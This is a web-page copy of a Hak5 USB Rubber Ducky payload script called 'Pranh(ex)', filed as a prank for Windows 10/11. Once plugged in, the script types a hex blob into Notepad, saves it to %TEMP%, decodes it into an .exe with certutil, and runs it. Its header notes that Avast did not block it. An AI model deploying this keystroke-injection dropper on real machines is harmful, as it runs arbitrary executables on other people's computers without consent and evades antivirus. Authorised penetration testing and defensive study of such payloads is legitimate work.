Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/prank/Pranh(ex)/payload.txt
2968 views
1
REM_BLOCK
2
##################################
3
# #
4
# Title : Pranh(ex) #
5
# Author : Aleff #
6
# Version : 1.0 #
7
# Category : Prank #
8
# Target : Windows 10/11 #
9
# #
10
##################################
11
12
Plug-And-Play <3
13
END_REM
14
15
REM_BLOCK
16
Requirements:
17
- Nothing (i know, it's absurd)
18
19
Note:
20
- For the creation of the executable, the hexadecimal code and in general to create this program I stuck to the payload: `Install And Run Any Arbitrary Executable - No Internet And Root Needed`
21
- Tested on Windows 11
22
- Running checked but not blocked by Avast antivirus
23
- Original Python code in assets/pranh(ex).py
24
- Hex content in assets/hexfile.txt
25
- exe file in assets/pranh(ex).exe
26
END_REM
27
28
REM Here you should put your HEX code
29
DEFINE #HEX_CODE example
30
31
EXTENSION PASSIVE_WINDOWS_DETECT
32
REM VERSION 1.1
33
REM AUTHOR: Korben
34
35
REM_BLOCK DOCUMENTATION
36
Windows fully passive OS Detection and passive Detect Ready
37
Includes its own passive detect ready.
38
Does not require additional extensions.
39
40
USAGE:
41
Extension runs inline (here)
42
Place at beginning of payload (besides ATTACKMODE) to act as dynamic
43
boot delay
44
$_OS will be set to WINDOWS or NOT_WINDOWS
45
See end of payload for usage within payload
46
END_REM
47
48
REM CONFIGURATION:
49
DEFINE #MAX_WAIT 150
50
DEFINE #CHECK_INTERVAL 20
51
DEFINE #WINDOWS_HOST_REQUEST_COUNT 2
52
DEFINE #NOT_WINDOWS 7
53
54
$_OS = #NOT_WINDOWS
55
56
VAR $MAX_TRIES = #MAX_WAIT
57
WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))
58
DELAY #CHECK_INTERVAL
59
$MAX_TRIES = ($MAX_TRIES - 1)
60
END_WHILE
61
IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN
62
$_OS = WINDOWS
63
END_IF
64
65
REM_BLOCK EXAMPLE USAGE AFTER EXTENSION
66
IF ($_OS == WINDOWS) THEN
67
STRING HELLO WINDOWS!
68
ELSE
69
STRING HELLO WORLD!
70
END_IF
71
END_REM
72
END_EXTENSION
73
74
GUI r
75
DELAY 1000
76
STRINGLN notepad.exe
77
DELAY 2000
78
STRING #HEX_CODE
79
DELAY 2000
80
ALT f
81
DELAY 1000
82
STRING S
83
DELAY 1000
84
STRINGLN "%TEMP%\pranhex.hex"
85
DELAY 1000
86
ENTER
87
DELAY 1000
88
ALT F4
89
DELAY 2000
90
GUI r
91
DELAY 500
92
STRINGLN certutil -f -decodeHex "%TEMP%\pranhex.hex" "%TEMP%\pranhex.exe"
93
DELAY 1000
94
ENTER
95
DELAY 1000
96
GUI r
97
DELAY 250
98
STRINGLN "%TEMP%\pranhex.exe"
99
ENTER
100
101